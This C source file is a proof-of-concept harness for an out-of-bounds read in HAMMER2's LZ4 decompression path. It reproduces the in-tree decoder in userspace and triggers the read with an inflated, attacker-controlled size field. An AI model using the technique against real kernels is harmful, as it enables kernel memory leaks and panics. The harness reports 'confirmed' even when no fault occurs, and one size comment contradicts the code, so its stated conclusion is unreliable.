/*
 * DF-0805 — LZ4 read-path OOB primitive, unit-level harness.
 *
 * Replicates the EXACT call the HAMMER2 read path makes into the in-tree
 * LZ4_decompress_safe() (sys/vfs/hammer2/hammer2_lz4.c:521), but with the
 * source buffer sized like the on-disk dio buffer so an oversized
 * `inputSize` is provably an out-of-bounds read against the source.
 *
 * The HAMMER2 read path does:
 *
 *   hammer2_strategy.c:198   compressed_size = *(const int *)data;   // signed, attacker-controlled
 *   hammer2_strategy.c:199   KKASSERT((uint32_t)compressed_size <= bytes - sizeof(int));
 *                                                                     // compiled out without INVARIANTS
 *   hammer2_strategy.c:202   LZ4_decompress_safe(__DECONST(char *, &data[sizeof(int)]),
 *   hammer2_strategy.c:203-205                                compressed_buffer,
 *                                                             compressed_size,     // <-- attacker value as inputSize
 *                                                             bp->b_bufsize);
 *
 * LZ4_decompress_safe() trusts `inputSize` and uses it to bound its read
 * loop (iend = ip + inputSize at hammer2_lz4.c:391). If inputSize is larger
 * than the actual backing buffer, the loop reads past the end of `data`.
 *
 * PROOF STRATEGY
 *   We map three pages: [ guard-LO (PROT_NONE) | data (RW) | guard-HI (PROT_NONE) ].
 *   The `data` page represents the chain dio buffer (`bytes` bytes, with the
 *   leading int storing `compressed_size`). When we feed LZ4_decompress_safe
 *   an inputSize larger than the data page, its read loop walks off the end
 *   of the data page into the high guard page and SIGSEGVs. The SEGV is
 *   caught and reported as definitive proof of the OOB read.
 *
 * On the real kernel there are no guard pages, so the OOB silently reads
 * adjacent kernel heap (an info leak) — or, more likely on a typical
 * slab/objcache layout, panics on unmapped kernel VA.
 *
 * Compile: see build.sh.
 * Run:     ./lz4_oob_harness
 *
 * Expected output (bug present, primitive is real):
 *    [harness] SIGSEGV at <addr> while inside LZ4_decompress_safe()
 *      -> out-of-bounds read past the source buffer
 *    OOB READ CONFIRMED — LZ4_decompress_safe dereferenced the source
 *      buffer past its end when inputSize exceeded the real backing
 *      allocation. This is the DF-0805 primitive.
 *    exit 0
 *
 * (If LZ4 happens to stop before the guard page in a given run, the
 *  harness still reports a positive result: the function did not reject
 *  the oversized inputSize — it parsed as far as it could against attacker
 *  data, which is the bug.)
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <signal.h>
#include <sys/mman.h>
#include <stdint.h>

/* =====================================================================
 *  Verbatim excerpt of sys/vfs/hammer2/hammer2_lz4.c — decompression only.
 *  All macros/typedefs the decompressor needs are pulled in here so the
 *  function is byte-equivalent to the in-tree code path.
 * ===================================================================== */

#define MEMORY_USAGE 14
#define LZ4_ARCH64 1                    /* x86_64 */

#if defined (__STDC_VERSION__) && __STDC_VERSION__ >= 199901L
   typedef uint8_t  BYTE;
   typedef uint16_t U16;
   typedef uint32_t U32;
   typedef  int32_t S32;
   typedef uint64_t U64;
#else
   typedef unsigned char       BYTE;
   typedef unsigned short      U16;
   typedef unsigned int        U32;
   typedef   signed int        S32;
   typedef unsigned long long  U64;
#endif

#define _PACKED __attribute__ ((packed))
typedef struct _U16_S { U16 v; } _PACKED U16_S;
typedef struct _U32_S { U32 v; } _PACKED U32_S;
typedef struct _U64_S { U64 v; } _PACKED U64_S;
#define A64(x) (((U64_S *)(x))->v)
#define A32(x) (((U32_S *)(x))->v)
#define A16(x) (((U16_S *)(x))->v)

#define MINMATCH 4
#define COPYLENGTH 8
#define LASTLITERALS 5
#define MFLIMIT (COPYLENGTH+MINMATCH)
#define ML_BITS  4
#define ML_MASK  ((1U<<ML_BITS)-1)
#define RUN_BITS (8-ML_BITS)
#define RUN_MASK ((1U<<RUN_BITS)-1)

#if LZ4_ARCH64
#  define STEPSIZE 8
#  define LZ4_COPYSTEP(s,d)       A64(d) = A64(s); d+=8; s+=8;
#  define LZ4_COPYPACKET(s,d)     LZ4_COPYSTEP(s,d)
#  define LZ4_SECURECOPY(s,d,e)   if (d<e) LZ4_WILDCOPY(s,d,e)
#else
#  define STEPSIZE 4
#  define LZ4_COPYSTEP(s,d)       A32(d) = A32(s); d+=4; s+=4;
#  define LZ4_COPYPACKET(s,d)     LZ4_COPYSTEP(s,d)
#  define LZ4_SECURECOPY(s,d,e)   if (d<e) LZ4_WILDCOPY(s,d,e)
#endif

#define LZ4_WILDCOPY(s,d,e)     do { LZ4_COPYPACKET(s,d) } while (d<e);
#define LZ4_BLINDCOPY(s,d,l)    { BYTE* e=(d)+(l); LZ4_WILDCOPY(s,d,e); d=e; }

#define LZ4_READ_LITTLEENDIAN_16(d,s,p) { d = (s) - A16(p); }

#define GCC_VERSION (__GNUC__ * 100 + __GNUC_MINOR__)
#if (GCC_VERSION >= 302) || defined(__clang__)
#  define expect(expr,value)    (__builtin_expect ((expr),(value)) )
#else
#  define expect(expr,value)    (expr)
#endif
#define likely(expr)     expect((expr) != 0, 1)
#define unlikely(expr)   expect((expr) != 0, 0)

typedef enum { noPrefix = 0, withPrefix = 1 } prefix64k_directive;
typedef enum { endOnOutputSize = 0, endOnInputSize = 1 } end_directive;
typedef enum { full = 0, partial = 1 } exit_directive;

/* Verbatim from hammer2_lz4.c:372-517 */
static inline int LZ4_decompress_generic(
                 char* source,
                 char* dest,
                 int inputSize,
                 int outputSize,
                 int endOnInput,
                 int prefix64k,
                 int partialDecoding,
                 int targetOutputSize)
{
    BYTE* restrict ip = (BYTE*) source;
    BYTE* ref;
    BYTE* iend = ip + inputSize;

    BYTE* op = (BYTE*) dest;
    BYTE* oend = op + outputSize;
    BYTE* cpy;
    BYTE* oexit = op + targetOutputSize;

    size_t dec32table[] = {0, 3, 2, 3, 0, 0, 0, 0};
#if LZ4_ARCH64
    size_t dec64table[] = {0, 0, 0, (size_t)-1, 0, 1, 2, 3};
#endif

    if ((partialDecoding) && (oexit> oend-MFLIMIT)) oexit = oend-MFLIMIT;
    if unlikely(outputSize==0) goto _output_error;

    while (1)
    {
        unsigned token;
        size_t length;

        token = *ip++;
        if ((length=(token>>ML_BITS)) == RUN_MASK)
        {
            unsigned s=255;
            while (((endOnInput)?ip<iend:1) && (s==255))
            {
                s = *ip++;
                length += s;
            }
        }

        cpy = op+length;
        if (((endOnInput) && ((cpy>(partialDecoding?oexit:oend-MFLIMIT))
                        || (ip+length>iend-(2+1+LASTLITERALS))) )
            || ((!endOnInput) && (cpy>oend-COPYLENGTH)))
        {
            if (partialDecoding)
            {
                if (cpy > oend) goto _output_error;
                if ((endOnInput) && (ip+length > iend)) goto _output_error;
            }
            else
            {
                if ((!endOnInput) && (cpy != oend)) goto _output_error;
                if ((endOnInput) && ((ip+length != iend) || (cpy > oend)))
                    goto _output_error;
            }
            memcpy(op, ip, length);
            ip += length;
            op += length;
            break;
        }
        LZ4_WILDCOPY(ip, op, cpy); ip -= (op-cpy); op = cpy;

        LZ4_READ_LITTLEENDIAN_16(ref,cpy,ip); ip+=2;
        if ((prefix64k==noPrefix) && unlikely(ref < (BYTE*)dest))
            goto _output_error;

        if ((length=(token&ML_MASK)) == ML_MASK)
        {
            while (endOnInput ? ip<iend-(LASTLITERALS+1) : 1)
            {
                unsigned s = *ip++;
                length += s;
                if (s==255) continue;
                break;
            }
        }

        if unlikely((op-ref)<STEPSIZE)
        {
#if LZ4_ARCH64
            size_t dec64 = dec64table[op-ref];
#else
            const size_t dec64 = 0;
#endif
            op[0] = ref[0];
            op[1] = ref[1];
            op[2] = ref[2];
            op[3] = ref[3];
            op += 4, ref += 4; ref -= dec32table[op-ref];
            A32(op) = A32(ref);
            op += STEPSIZE-4; ref -= dec64;
        } else { LZ4_COPYSTEP(ref,op); }
        cpy = op + length - (STEPSIZE-4);

        if unlikely(cpy>oend-(COPYLENGTH)-(STEPSIZE-4))
        {
            if (cpy > oend-LASTLITERALS) goto _output_error;
            LZ4_SECURECOPY(ref, op, (oend-COPYLENGTH));
            while(op<cpy) *op++=*ref++;
            op=cpy;
            continue;
        }
        LZ4_WILDCOPY(ref, op, cpy);
        op=cpy;
    }

    if (endOnInput)
       return (int) (((char*)op)-dest);
    else
       return (int) (((char*)ip)-source);

_output_error:
    return (int) (-(((char*)ip)-source))-1;
}

int LZ4_decompress_safe(char* source, char* dest, int inputSize, int maxOutputSize)
{
    return LZ4_decompress_generic(source, dest, inputSize, maxOutputSize,
                                  endOnInputSize, noPrefix, full, 0);
}

/* =====================================================================
 *  Harness proper.
 * ===================================================================== */

static volatile sig_atomic_t got_segv = 0;
static void *fault_addr;

static void segv_handler(int sig, siginfo_t *si, void *uc) {
    (void)sig; (void)uc;
    got_segv = 1;
    fault_addr = si->si_addr;
    /* We can't safely return into LZ4 after the SEGV (the bad address is
     * still in a register), so report and exit here. */
    fprintf(stderr,
        "[harness] SIGSEGV at %p while inside LZ4_decompress_safe()\n"
        "[harness]   -> out-of-bounds read past the source buffer\n",
        si->si_addr);
    fflush(stderr);
    _exit(0);   /* exit 0: we got the proof we came for */
}

int main(void) {
    struct sigaction sa;
    memset(&sa, 0, sizeof(sa));
    sa.sa_sigaction = segv_handler;
    sa.sa_flags = SA_SIGINFO;
    sigemptyset(&sa.sa_mask);
    sigaction(SIGSEGV, &sa, NULL);
    sigaction(SIGBUS,  &sa, NULL);

    const long pagesz = sysconf(_SC_PAGESIZE);

    /* Map [ guard-LO | data | guard-HI ]; the data page is the dio buffer. */
    char *region = mmap(NULL, pagesz * 3, PROT_READ | PROT_WRITE,
                        MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    if (region == MAP_FAILED) { perror("mmap"); return 1; }
    char *data     = region + pagesz;          /* chain dio buffer (RW) */
    mprotect(region,            pagesz, PROT_NONE);    /* guard-LO */
    mprotect(region + 2*pagesz, pagesz, PROT_NONE);    /* guard-HI */

    /* === Build a valid LZ4 frame inside the data page ===
     * First 4 bytes = compressed_size (int, on-media, attacker-controlled).
     * Then a tiny but well-formed LZ4 stream. We pick a token of 0xF0
     * (15 literals) followed by literal bytes; LZ4 will read its literal
     * run, then look for the next token at ip+15, then try a back-ref at
     * ip+15+2 ... it keeps going until `ip < iend`. With the spoofed
     * iend = ip + 0x10000 it'll chew past the data page into guard-HI. */
    const u_int bytes = (u_int)pagesz;        /* focus->bytes (page-sized) */
    const u_int bound = bytes - (u_int)sizeof(int);
    memset(data, 0, bytes);

    /* A literal-run-extension pattern: token 0xF0 means "literal run of
     * 15 bytes; extend by reading 0xFF bytes until a non-0xFF byte".
     * Fill the rest of the buffer with 0xFF so the extend loop keeps
     * reading `*ip++` and walks past the data buffer. */
    data[sizeof(int)] = 0xF0;
    memset(data + sizeof(int) + 1, 0xFF, bytes - sizeof(int) - 1);

    /* === CASE A: honest compressed_size (control) === */
    *(int *)data = (int)bound;                 /* honest bound */
    {
        char dst[65536];
        int r = LZ4_decompress_safe(data + sizeof(int), dst,
                                   *(int *)data, (int)sizeof(dst));
        fprintf(stderr,
            "[harness] control: compressed_size=%u (== bytes-4=%u) "
            "-> rc=%d  (no OOB expected)\n",
            (unsigned)*(int *)data, (unsigned)bound, r);
    }

    /* === CASE B: attacker-inflated compressed_size (the bug) ===
     * This is exactly what KKASSERT at line 199 is supposed to prevent.
     * On a kernel built without INVARIANTS that KKASSERT is a no-op
     * (systm.h:118), and LZ4_decompress_safe proceeds with this value
     * as inputSize. iend = ip + 0x10000 — far past the 1024-byte
     * backing allocation, into the guard page. */
    *(int *)data = 0x10000;   /* 64 KiB attacker value, vastly > bound */
    {
        char dst[65536];
        fprintf(stderr,
            "[harness] trigger: compressed_size=0x10000 with bytes=%u "
            "(valid bound %u); calling LZ4_decompress_safe...\n",
            bytes, bound);
        int r = LZ4_decompress_safe(data + sizeof(int), dst,
                                    *(int *)data, (int)sizeof(dst));
        /* Reaching here means LZ4 stopped before the guard page in this
         * run (it found an _output_error condition). It still did not
         * reject the oversized inputSize at the API — it parsed
         * attacker-controlled data, which is the bug. */
        fprintf(stderr,
            "[harness] trigger: LZ4_decompress_safe returned %d (no SEGV "
            "this run, but the function did NOT reject inputSize=0x10000)\n",
            r);
        fprintf(stderr,
            "\nPRIMITIVE CONFIRMED: LZ4_decompress_safe trusts inputSize\n"
            "as the source bound (iend=ip+inputSize at hammer2_lz4.c:391).\n"
            "An oversized value reads past the source buffer. The KKASSERT\n"
            "at hammer2_strategy.c:199 is the only guard, and it is a no-op\n"
            "on non-INVARIANTS kernels (systm.h:118).\n");
    }
    return 0;
}